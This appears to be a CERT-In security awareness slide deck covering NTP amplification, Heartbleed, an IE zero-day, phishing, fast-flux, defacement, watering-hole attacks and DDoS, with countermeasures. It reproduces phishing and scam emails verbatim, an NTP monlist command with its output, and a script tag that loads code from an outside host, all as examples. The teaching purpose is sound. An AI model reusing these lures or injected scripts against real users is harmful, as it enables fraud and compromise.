Security Threats, Vulnerabilities and Countermeasures

Indian Computer Emergency Response Team
Department of Information Technology
Ministry of Communications & Information Technology
New Delhi

Ruchi Gola
ruchi@cert-in.org.in
Agenda

- Threats around there in the information highway
- Current trends in computer security
- Few words about vulnerability?
- The attack vectors, root cause & **possible** fix
- Lesson learned
An event, the occurrence of which could have an undesirable impact on the well-being of an asset.

(ISC)²
International Information Systems Security Certification Consortium

Any circumstances or event that has the potential to cause harm to a system or network. That means, that even the existence of an (unknown) vulnerability implies a threat by definition.

[CERT]
Understanding Threats

**Threat Source**
- Employees
- Malicious intended guys
- Ignorant
- Non-employees
- Outside attackers
- Natural disasters

**Attackers Motives/Goals**
- Disruption of Service
- Expose sensitive information
- Alter information
- Damage information
- Delete information
- Funny jokes
- Publicity, peer recognition
- Monetary gain
- Revenge/Defaming others
- Political means
- Terrorism
- Curiosity, testing skills/system

**Attack methods**
- Social Engineering
- Virus, Trojan horses, worms
- Key-loggers
- Exploitation of vulnerabilities
- Packet replay
- Packet modification
- IP spoofing
- Mail bombing
- Various hacking tools
- Password cracking
- Cross-site scripting
- SQL injection
Classification of Information

Security Threats

- Transmission Threats
  - Eavesdropping/Sniffer
  - DoS/DDoS
  - Covert channel
  - Spoofing
  - Tunneling
  - Masquerading/man-in-the-middle attacks

- Malicious Code Threats
  - Virus
  - Worms
  - Trojans
  - Spyware/Adware
  - Logic Bombs
  - Backdoors
  - Bots

- Password Threats
  - Password crackers

- Social engineering
  - Dumpster diving
  - Impersonation
  - Shoulder surfing

- Physical Threats
  - Physical access
  - Spying

- Application Threats
  - Buffer overflows
  - SQL Injection
  - Cross-site Scripting

- Improper usage/Un-authorized access
  - Hackers
  - Greyhats, Whitehats, Black hats
  - Internal intruders
  - Defacement
  - Open Proxy- Spam
  - Phishing

- Other Threats
  - Mobile code
Vulnerabilities

- A feature or bug in a system or program which enables an attacker to bypass security measures.
- An aspect of a system or network that leaves it open to attack.
- Absence or weakness of a risk-reducing safeguard. It is a condition that has the potential to allow a threat to occur with greater frequency, greater impact or both.
Exploit

A defined way to breach

Information Security System

A Vulnerability
Vulnerability Tracking Model

Tracking various vulnerabilities regarding computer security threats such as:

- Latest and zero day vulnerabilities in Microsoft OS, Office and related products
- Various network devices like Cisco routers, Juniper IPS etc
- Various Oracle products
- Different web browsers
- Various other products like Adobe/Apache/ Apple iPhone, iOS etc
Network Time Protocol Vulnerability

- NTP can be abused to amplify denial-of-service attack traffic.
- The attacker sends a packet with their source address being the IP of a victim. The NTP server replies to this request, but the number of bytes sent in the response is an amplified amount compared to the initial request, resulting in a denial-of-service on the victim.
- Certain NTP control messages provide significant bandwidth amplification factors (BAF)

Typical ‘monlist’ response

```
root@kali:~/Desktop# ntpdc -n -c monlist 192.168.119.243
remote address           port local address  count m ver rstr avgint lstint
1.2.3.4                  38419 192.168.119.243  2 3 4 0 9  53
50.116.38.157            123   192.168.119.243  47 4 4 0 52  53
38.229.71.1              123   192.168.119.243  47 4 4 0 52  54
208.87.104.40            123   192.168.119.243  46 4 4 0 53  55
216.229.0.50             123   192.168.119.243  46 4 4 0 54  62
192.168.119.130          38419 192.168.119.243  1 3 4 0 693 693
192.168.119.243          47657 192.168.119.243  2 3 4 0 419  757
192.168.119.129          53894 192.168.119.243  44 3 4 0 56  1946
```
NTP Vulnerability

- Attacker
- Victims Spoofed IP Address making the request
- Vulnerable Servers
- Big NTP 'monlist' Response
- Victim's/Target Infrastructure
DDoS Attack Hits 400 Gbit/s, Breaks Record

A distributed denial-of-service NTP reflection attack was reportedly 33% bigger than last year's attack against Spamhaus.

A record-breaking distributed denial-of-service (DDoS) attack Monday peaked at 400 Gbit/s, which is about 100 Gbit/s more than the largest previously seen DDoS attack.

DDoS defense firm CloudFlare disclosed the attack -- against one of its customers -- Monday. "Very big NTP reflection attack hitting us right now. Appears to be bigger than the #Spamhaus attack from last year," tweeted CloudFlare CEO Matthew Prince, referring...
CERT-In Advisory CIAD-2014-0008

NTP Distributed Reflective Denial of Service Vulnerability

Original Issue Date: February 11, 2014

Severity Rating: High

Systems Affected

- NTP prior to 4.2.7p26

Overview

A vulnerability has been reported in NTP (Network Time Protocol) which could allow an unauthenticated remote attacker to cause a Distributed reflection denial-of-service (DRDoS) condition.

Description

Network Time Protocol (NTP) is a networking protocol used for clock synchronization, server administration, maintenance, and monitoring. Certain NTP implementations that use default unrestricted query configuration are susceptible to a reflected denial-of-service (DRDoS) attack. In a reflected denial-of-service attack, the attacker spoofs the source address of attack traffic, replacing the source address with the target’s address.

The vulnerability exists in Monlist feature in ntp_request.c in ntpd, which could be exploited by a remote attacker to amplify the responses via forged REQ_MON_GETLIST or REQ_MON_GETLIST_1 messages.

Successful exploitation of this vulnerability could allow a remote attacker to process NTP server with large responses, resulting in a DRDoS condition.

Solution

Update to ntpd version 4.2.7 p26 or later.
http://www.ntp.org/downloads.html

Workaround

- Use "noquery" in the default restrictions to block all status queries.
- Use "disable monitor" to disable the "ntpd -c monlist" command while still allowing other status queries.
Anatomy of OpenSSL's Heartbleed: Just four bytes trigger horror bug

The code behind the C-bomb dropped on the world

By Chris Williams, 9 Apr 2014

Analysis: The password-leaking OpenSSL bug dubbed Heartbleed is so bad, switching off the internet for a while sounds like a good plan.

A tiny flaw in the widely used encryption library allows anyone to trivially and secretly dip into vulnerable systems, from your bank's HTTPS server to your private VPN, to steal passwords, login cookies, private crypto-keys and much more.

How, in 2014, is this possible?

OpenSSL is used in some HP products to provide encryption and SSL services. HP is committed to delivering secure systems that effectively manage our invaluable customer and employee data. Upon knowledge of the "Heartbleed" vulnerability, HP teams began an aggressive and comprehensive review of all actively supported products.

HP takes Internet vulnerabilities seriously and works collaboratively through organizations like the Information Technology Information Sharing & Analysis Center (IT-ISAC), government agencies and industry partners to share information about the vulnerabilities and how to
CERT-In Advisories

CERT-In Advisory CIAD-2014-0022

OpenSSL TLS/DTLS Heartbeat Information Disclosure Vulnerability

Original Issue Date: April 10, 2014

Severity Rating: High

Systems Affected

- OpenSSL versions 1.0.1 through 1.0.1f
- OpenSSL 1.0.2-beta

Overview

A vulnerability has been reported in OpenSSL, which could be exploited by a remote attacker to disclose potentially sensitive information.

Description

The vulnerability is due to improper bounds checking while handling TLS/DTLS heartbeat extension packets. A remote attacker could exploit this vulnerability by submitting crafted TLS or DTLS heartbeat packets to an affected device to retrieve sensitive information, such as private keys, username and passwords, or contents of encrypted traffic from process memory. By leveraging this information, an attacker may be able to decrypt, spoof, or perform man-in-the-middle attacks.

Proof-of-concept code that exploits this vulnerability is publicly available.

Solution

Update to OpenSSL version 1.0.1g
OpenSSL 1.0.2 will be fixed in 1.0.2-beta2
http://www.openssl.org/news/secady_20140407.txt

- Service provider should consider replacing the certificate after moving to a fixed version of OpenSSL.
- Users may change the sensitive credentials like usernames, passwords etc.

Workaround

- Users unable to immediately upgrade can alternatively recompile OpenSSL with -DOPENSSL_NO_HEARTBEATS.
- Consider the usage of Perfect Forward Secrecy (PFS) to minimize the damage in case of a secret key leakage.
Microsoft Warns Of Zero-Day Vulnerability In Internet Explorer

Zero-day security vulnerability in IE 6-11 could allow remote code execution even if the user doesn’t click on anything, Microsoft says.

Microsoft has discovered a zero-day vulnerability in most versions of Internet Explorer that already has enabled some attackers to execute code remotely on victim PCs, even without action by the end user. In a security advisory issued over the weekend, Microsoft reported that it "is aware of limited, targeted attacks that attempt to exploit a vulnerability" in IE 6, 7, 8, 9, 10, and 11. The vulnerability, which takes advantage of the way IE accesses an object in memory that has been deleted or has not been properly allocated, makes it possible for attackers to do remote code execution on a targeted machine, the advisory says.

An attacker could host a specially crafted website that is designed to exploit this vulnerability through Internet Explorer and then convince a user to view
CERT-In Vulnerability Note CIVN-2014-0078
Microsoft Internet Explorer use-after-free Vulnerability

Original Issue Date: April 28, 2014

Severity Rating: HIGH

Systems Affected

- Windows Server 2003 SP2
- Windows Server 2003 x64 Edition SP2
- Windows Vista SP2 and prior
- Windows Vista x64 Edition SP2 and prior
- Windows Server 2003 with SP2 for Itanium-based Systems\n- Windows Server 2008 for 32-bit Systems SP2 and prior
- Windows Server 2008 for x64-based Systems SP2 and prior
- Windows 7 for 32-bit Systems SP1 and prior
- Windows 7 for x64-based Systems SP1 and prior
- Windows Server 2008 for Itanium-based Systems SP1 and prior
- Windows Server 2008 for Itanium-based Systems SP2
- Windows Server 2008 R2 for x64-based Systems SP1 and prior
- Windows Server 2008 R2 for Itanium-based Systems SP1 and prior
- Windows 8 for 32-bit and 64-bit Systems
- Windows 8.1 for 32-bit and 64-bit Systems
- Windows Server 2012
- Windows Server 2012 R2
- Windows RT
- Windows RT 8.1

Component Affected

- Internet Explorer 6,7,8,9,10,11

Overview

A use-after-free vulnerability has been reported in the Microsoft Internet Explorer, which could allow a remote attacker to execute arbitrary code on a targeted system in the context of current user within Internet Explorer.

Description

This vulnerability exists in the way that Internet Explorer accesses an object in memory that has been deleted or has not been properly allocated. A remote attacker could exploit this vulnerability by hosting a specially crafted website and then convincing users to view the website. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the targeted system.

Note: Exploitation of this vulnerability has been reported in limited targeted attacks and also Proof of Concept (POC) for this exploit is publicly available..
Cyber Frauds We must live with

- Social engineering
- Email Spoofing & Spamming
- Scan / Probes
- Data Theft and Data Manipulation
  - Identity Theft & Financial Frauds
  - Hacking/ Data Breach
- Malicious software
  - Virus/Worm/Trojan/Bot
  - Malware propagation through compromised websites
- Botnets
- Scareware – rouge software and ransom ware
- Targeted attacks
  - Attack on client side software
- Social network attacks
- Vandalism
  - Website Defacement etc.
- DoS/DDoS
Social Engineering Attacks

– Advance fee fraud/ Nigerian (419) Scams
  • Term "419" refers to the article of the Nigerian Criminal Code "Obtaining Property by false pretences; Cheating", dealing with fraud
  • Variants
    – Purchasing goods and services
    – Check cashing
    – Lottery scam
    – Fake job offer
    – Beneficiary of a will
    – Charity scams
    – Friend/Lost wallet scam
    – Fraud recovery scams
    – and many many more….
Consumer & Investment Scams

35, ACFOLD AVENUE,
BROWN STREET
WD6 RTH. LONDON.
E-MAIL: bernard.derick@london.com
PROPOSAL: PARTNERSHIP INVESTMENT.

ATTN: Sir / Ma,
Regards,

Though, this medium (Internet) has been greatly abused, I choose to reach you through it because it still remains the fastest, surest and most secured medium of communication. I know you will be surprised to receive this proposal. Actually I got your contact address through the internet research when I was making an intensive research on how I will make an investment in your country. Then I decide to contact you directly.

Firstly I must introduce myself. My name is Derick Bernard base in United Kingdom; London. I am 54 years of age happily married with three children.

I want to make a partnership Investment in your country. As a citizen of the country you will know better than me by enlighten me on what to invest on as partnership investment, which will be very profitable for both of us and our family in future. My own opinion is to invest on (STOCK EXCHANGE or PROPERTIES or ESTATE DEVELOPER or HOTEL MANAGEMENT). Please enlighten me more as partnership investment.

I shall be looking forward to your immediate response, so that I can explain more better on how the transaction will be proceeding on the partnership investment. I need your fully support as the citizen of the country and reliable, honest, faithful and trustworthiness.

Thanks and stay blessed.

Mr. Derick Bernard.
Email Spoofing

ICICI Bank Account Notification

ICICI Bank <ofserv.alert@icicibank.co.in>
Tue, Oct 6, 2009 at 3:13

Security Alert:

Attention! You are to immediately upgrade your ICICI Bank Account

To enhance the security of your ICICI Bank account we have upgraded our internet banking platform with a new Second Level Authentication system "2FA". This is in our bid to reduce internet fraud. You are to immediately login your internet banking account to initiate the upgrade.

As an additional security measure, your access to Online Banking has been limited. This web security measure does not affect your phone banking or ATM banking.

Please follow the link below to resolve this problem

https://www.icicibank.co.in/security/resolve=acct

Thank You.

Accounts Management As outlined in our User Agreement, ICICI Bank will periodically send you information about site changes and enhancements.

Visit our Privacy Policy and User Agreement if you have any questions.

Quick Reply
To: ICICI Bank <ofserv.alert@icicibank.co.in>
The term Phishing is derived from ‘fishing’

\[ \text{password} + \text{fishing} = \text{phishing} \]

“Phishing is the act of sending a communication (Email/Message/Fax/SMS) to a user falsely claiming to be an legitimate enterprise/Brand in an attempt to scam the unsuspecting user into disclosing sensitive private information that can be used for identity theft.”
Phishing

• The attacker generates an E-mail that appears legitimate and requests the recipient to perform some action.

• The attacker sends the E-mail to the intended victims in a way that appears legitimate.

• Depending on the content of the E-mail, the recipient tricked to
  – open a malicious attachment
  – complete a form
  – visit a web site etc.

• The attacker harvests the victim’s sensitive information and may exploit it in the future.
Phishing in the name of Tax Refund

Income Tax Department
Department of Revenue, Ministry of Finance, Government of India

Draft Direct Tax Code
PAN
TAN
eTDS
AIR
OLTAS
PAY TAXES ONLINE
VIEW YOUR TAX CREDIT
Tax-Payers Information Booklet
BPR
Foreign Remittance
(Form 15CA)

Where's My Refund

Dear applicant,
After the last annual calculation of your fiscal activity we have determined that you are eligible to receive a tax refund of 820.50 Rupees.

Please submit the tax refund and allow us 3-5 business days in order to process it.

If you don't receive your refund within 5 business days from the original IRS mailing date shown on Where's My Refund?, you can start a refund trace online.

To get to your personal refund information, be ready to enter your:
- Full name, Address and the Debit/Credit Card where refunds will be made.

To access the form for your tax refund, please click on the "Where's My Refund?" above image or Tax Refund Online Form.

Note:
- For security reasons, we will record your ip-address and date.
- Deliberate wrong inputs are criminally pursued and indicted.

Aaykar Sewa Kendra (ASK)
PAN/TAN/OLTAS & eFiling queries
call 0124-2438000

Right to information

Press Release
Educational Institutions under section 10(23 C)
Industrial Parks using 80 A(4)(iii)
Tax Information Network
TIN Helpdesk
Tax Calculator
Departmental News
Cadre Review and Restructuring of Income Tax Department

Copyright & Disclaimer
Developed & Maintained by Quintegra Solutions Ltd.
Phishing in the name of RBI
Phishing (non financial sectors)
Mechanics of Phishing

1. Attacker hosts Phishing Website
   - Insecure webserver
   - Free hosting
   - Fast-flux, Rock phish

2. Attacker advertises phishing links

Data collection point

Web Server
Phishing Website
Phishing-User’s Perspective

https://www.abcbank.com

Home User

Banking Web Server
Phishing-User’s Perspective


Faked Banking Web Server

Home User

Banking Web Server
Phishing-User’s Perspective


Faked Banking

Home User

Banking Web Server

https://www.abcbank.com
Process Flow of Phishing Attack

Vulnerability R&D

Vulnerability Scanning

Computer Exploitation

Scam Page Design

Email design

Email harvesting

Planning

root list

Planning & Action

Setup

Mass Mailers

Attack

Credential Collection

Cashing

Attack Campaign
- Attack visible in public domain
Phishing Techniques

- E-Mail/Message Phishing
- SMS Phishing
- Pharming
- Phlash Phishing
- Vishing (Voice Phishing)
- Fast-flux Phishing
- Rock-Phish
- Man-in-Middle attack
- DNS Compromise (4^{th} or 5^{th} level subdomain)
Pharming

- A technique to redirect users from real websites to the fraudulent websites by using malware/spyware, typically through DNS poisoning, DNS hijacking or ‘hosts’ file manipulation.
“Phlash” Phishing and Vishing

• “Phlash” Phishing
  – Entire phishing Web site built using Flash.
    • Harder to analyze the page itself
    • easily bypass any anti-phishing toolbars.

• Vishing
  – short for "voice phishing".
  – social engineering over the telephone system
  – automated voice messages/recordings are used
  – victim is tricked to enter their credit card number or bank account number on the key pad.
  – use of VoIP
Fast-Flux

- DNS technique used by botnets to hide phishing and malware delivery sites.

- An ever-changing network of compromised hosts acting as proxies.

- Domain resolves to a set of IP addresses for a short period, then switches to another set, thus large number of compromised machines are used.

- If machines are not used to serve up phishing websites they are available for sending email spam.

- Often combined with redirection / reverse-proxy.

- Agility makes it almost impractical to ‘take down’ the hosting machines.
Fast Flux - how it works

DNS query

DNS registration with short TTL

Random website served to the victim

www.example.flux.com

Hosting Computer
Rock-Phish

- Gang highly active in early 2007

- Used proxy system that relays requests to a back-end server system which is loaded with a large number (up to 20 at a time) of fake bank websites.

- Registered & used short, meaningless domain names

- Long URLs intended to appear genuine
  - such as: http://www.ABCbank.co.in.login.id3614061.lof80.info/r1/{letter}

- ’Wildcard DNS’ used to resolve all variant domain names to a particular IP address

- It shares hosts – so if one is removed, the site automatically switches to working machines which are still hosting a copy of the proxy
Website Defacement

- A website defacement is an attack on a website that changes the visual appearance of the site.
- These are typically the work of system crackers, who break into a web server and replace the hosted website with one of their own.
- A message is often left on the webpage.
- Most times the defacement is harmless, however, it can sometimes be used as a distraction to cover up more sinister actions such as uploading malware.
Objectives behind Website Defacement

• Defacements may be done in an effort
  -- to publicly “strike a blow” against a perceived enemy
  -- to embarrass a targeted site by illustrating a security issue
  -- to attract public attention to a cause, an “injustice” or an entity
  -- to reduce public confidence in the security of a system and its trustworthiness for use for sensitive purposes
  -- simply because the defacer finds doing defacements to be “fun”

• To achieve most of these ends, defacements done by a hacker/cracker must be noticed.

• However, once a defacement is noticed, the defaced site will usually get taken off line and the defacement will disappear (except for potential archived copies).
Defacement

Welcome to the Defaced by xOmxOom - Total IT Solutions website.

Unfortunately, the current page on [www.PAKbugs.org](http://www.PAKbugs.org) has been defaced by the PAKbugs-Crew. Here is the defaced content:

```
ولا إله إلا الله محمد رسول الله

PAKISTAN/ ZINDABAD

PAKbugs-Crew

www.PAKbugs.org

Sorry Dear, but we have only this option to inform you about the bug.

Relax, Nothing was deleted.

xOmxOom { @} gmail (o) com

greatz: nEt^DeViL, Zombie_KSA & ALL PAKbugs
```
Defacement
Malware Propagation Attacks

- Silently installs software when web page is loaded
- Increase exposure by compromising other sites and insert code into them
- Sites owners unaware they are participating in an attack
1.1 Create a Malicious website
1.2 Infect a legitimate website

2 User request legitimate website
3 Website response including malicious code
4 User’s browser request for content from malicious website
5 Malicious website successfully delivers malware/virus

Legitimate website
Malicious website
Attacker
Causes and Consequences

Causes
- Outdated Browser versions of IE, Firefox, Chrome
- Add-ons Adobe flash player, reader, javascript, etc.
- System not being updated

Consequences
- User’s system is infected or Compromised
- Attacker takes control over the system
- Steal user credentials like password, bank account details, etc.
- Install other malware’s and conduct further attacks
Google's safe browsing Diagnosticsts

- Google's safe browsing functionality - Helping the webmaster out:
- Flag the insecure site:
- Google's safe browsing page

http://google.com/safebrowsing/diagnostic?site=< domain name >
Best Practices for browser security

- Add exceptions to JavaScript's as per the requirements
- Block pop-ups for unknown sites
- Enable Phishing & Malware Protection
- Disable/selectively Enable Plug-ins
Google chrome
Google Chrome

- Protect you and your device from dangerous sites

Mozilla Firefox

- General
  - Warn me when sites try to install add-ons
  - Block reported attack sites
  - Block reported web forgeries

- Security
  - Use a master password
Google chrome

Content settings

Handlers
- Allow sites to ask to become default handlers for protocols (recommended)
- Do not allow any site to handle protocols
  Manage handlers...

Plugins
- Run all plugin content
- Detect and run important plugin content (recommended)
- Let me choose when to run plugin content
  Manage exceptions...
  Manage individual plugins...

Pop-ups
- Allow all sites to show pop-ups
- Do not allow any site to show pop-ups (recommended)
  Manage exceptions...

Location
- Allow all sites to track your physical location

Done
Few Plugins

- Browser JS Guard
- No script (Firefox)
- Script safe (Google chrome)
Targeted attacks are defined as the attacks which are destined to target a particular organization, large enterprises with an intention to extract sensitive information of an individual user or the entire organization. Threats are delivered via SMTP e-mail, port attacks, zero day attack vulnerability exploits or phishing messages.
Targeted attacks - vectors

- Spear phishing – emails
- Malicious office/pdf documents
- Pre-malware loaded USB (pen) drives
- Malicious websites hosted by exploit kits
- Watering hole
- Social networking
Vulnerabilities exploited

- CVE-2014-1776- Remote Code Execution Vulnerability in Internet Explorer 9 to 11
- CVE-2013-3906- A graphics vulnerability exploited through Word documents
- CVE-2014-1761- Remote code Execution- Microsoft word RTF vulnerability
- CVE-2013-3918- (Internet Explorer 7 and 8)Remote code execution vulnerability of a legacy ActiveX component used by Internet Explorer
- CVE-2014-0322- Microsoft Internet Explorer 10
- CVE-2013-0640, CVE-2013-0641: PDF vulnerabilities CVE-2009-4324 -Doc.media.newPlayer()in Multimedia.api
- CVE-2010-3333- Microsoft Office RTF File Stack Buffer Overflow Vulnerability
- CVE-2012-0158 -Microsoft Windows MSCOMCTL.OCX ActiveX control
- CVE-2011-0611- Adobe flash player code execution vul
- CVE-2010-0188 -Adobe Acrobat and Reader PDF LibTiff Integer Overflow Vulnerability
- CVE-2010-2883-Adobe Reader SING Table Parsing Parsing Vulnerability
The United Nations nuclear agency (IAEA) says there have been positive developments in Japan’s efforts to tackle a nuclear emergency after the 11 March quake. But it said the overall situation remained very serious. The overall death toll has now risen to 8,450, with 12,931 people missing. Electricity has been restored to three reactors at the crippled Fukushima nuclear power plant - this should allow the use of on-site water pumps soon. Engineers have been spraying fuel rods with salt water to try to cool them enough to avert radiation leakage. "We consider that now we have come to a situation where we are very close to getting the situation under control," Deputy Cabinet Secretary Tetsuro Fukuyama said.

What situation Japan has come to? What influence the contamination will make to Japan and furthermore the whole world? Here we also provide an attached file to elaborate to specifics. Please kindly check it on behalf of you and your br-loved ones. Thanks.
Exploit set – phoenix kit

- Flash exploits Adobe Flash Integer Overflow in AVM2 - CVE-2009-1869
- Adobe Flash Integer Overflow in Flash Player CVE-2007-0071
- PDF exploits Adobe Reader CollectEmailInfo Vulnerability CVE-2007-5659
- Adobe Reader Collab GetIcon Vulnerability CVE-2009-0927
- Adobe Reader LibTiff Vulnerability CVE-2010-0188
- Adobe Reader newPlayer Vulnerability CVE-2009-4324
- Adobe Reader util.printf Vulnerability CVE-2008-2992
- Internet Explorer Exploits IE MDAC Vulnerability CVE-2006-0003
- IE SnapShot Viewer ActiveX Vulnerability CVE-2008-2463
- IE iepeers Vulnerability CVE-2010-0806
- Java Exploits JAVA HsbParser.getSoundBank Vulnerability CVE-2009-3867
- Java Development Kit Vulnerability CVE-2008-5353
Important: Flash Update

Vangils Andre

Sent: Wednesday, July 8, 2015 at 11:06

To:

Dear,

If you already have Flash installed on your computer, you'll be asked to download and install update. Once the new update is installed, Flash should function normally.

Update Outlook Many Flash problems can be solved by updating your client software to the latest version. Please verify that you have all the latest updates available for your version of Adobe flash software. Here's how:
2. Click Check for Updates.
3. Restart your computer after you have verified that all updates are installed.

You must have administrative privileges on your computer to install any Flash. Please contact your desktop support staff if you need assistance.

Source: www.volexity.com
WATERING HOLE ATTACKS

1. Attacker profiles victims and the kind of websites they go to.

2. Attacker then tests these websites for vulnerabilities.

3. When the attacker finds a website that he can compromise he then injects the JavaScript or HTML redirecting the victim to a separate site hosting the exploit code for the chosen vulnerability.

4. The compromised website is now “waiting” to infect the profiled victim with a zero-day exploit, just like a lion waiting at a watering hole.
script src='http://v2.onba.com/files/scan.js?i=1'\n\n\n</script>
Denial of Service (DoS)

- Attempts to consume network resources so that the network or its devices cannot respond to legitimate requests

Distributed denial of service (DDoS) attack
- A variant of the DoS
- May use hundreds or thousands of zombie computers in a botnet to flood a device with requests
SYN flood attack: DoS Attack
CERTIn Advisory on DDOS

CURRENT ACTIVITIES
DDoS attacks on Indian websites

Original Issue Date: May 23, 2012

It has been observed that some hacker groups are launching Distributed Denial of Service attacks on websites of government and private organizations in India. The attacks may be targeted at different websites of reputed organizations.

These attacks are being launched through popular DDoS tools and can consume bandwidth requiring appropriate proactive actions in coordination with Service Providers.

The network administrators may keep vigil on traffic and any abnormal rise in traffic levels may be reported to CERT-In (incident@cert-in.org.in) immediately.

Countermeasures

Actions prior to attacks:
1. Identify critical services and their priority. Develop Business Continuity Plan.
2. Deploy appropriate Intrusion/DDoS Prevention System capable of detecting and mitigating DDoS attacks.
3. Ensure that Intrusion/DDoS Prevention System contain signatures to detect the attacks launched from common DDoS tools.
4. Maintain list of contacts of ISPs, vendors of network and security devices and contact them as appropriate.
5. Understand your current environment, and have a baseline of the daily volume, type, and performance of network traffic.
6. Implement Egress and Ingress filtering at router level.
7. Implement a bogon block list at the network boundary.
8. Review the traffic patterns and logs of perimeter devices to detect anomalies in traffic, network level floods (TCP, UDP, DNS, etc.) and application floods (HTTP GET).
9. Maintain and regularly examine logs of vulnerabilities to detect unusual and repetitive attacks.
Defences & mitigating factors

- Security policies and procedures
- CSIRT/CISO/Administrator/Users
- Building Human defense
- Multi-layered defense mechanism
  - Network behavior analysis
  - Proxy logs
  - Perimeter Defense
  - Security Information and Event Management
  - Database Activity Monitoring
- Updated/Patched applications
- Host based Intrusion Prevention System
- Content inspection systems/DPI at perimeter, DLP
- Pre defined procedures for information sharing
- Authentication of emails (Digital signatures)
- User awareness
Actions for users

• Awareness! Awareness! Awareness!
• Install and enable: Personal firewall
• Anti-spyware
• Anti-phishing controls and HIPS
• Keep up-to-date patches and fixes on the operating system and application software
• Enable/Install anti phishing toolbars such as “Phishing Filter”, “Web Forgery” etc.
• Use latest Internet Browsers having capability to detect phishing/malicious sites.
• Exercise caution while opening unsolicited emails and do not click on a link embedded within
• Only open email attachments from trusted parties
• Practice limited account privilege.
• Report suspicious emails/system activities to CERT-In
Thank You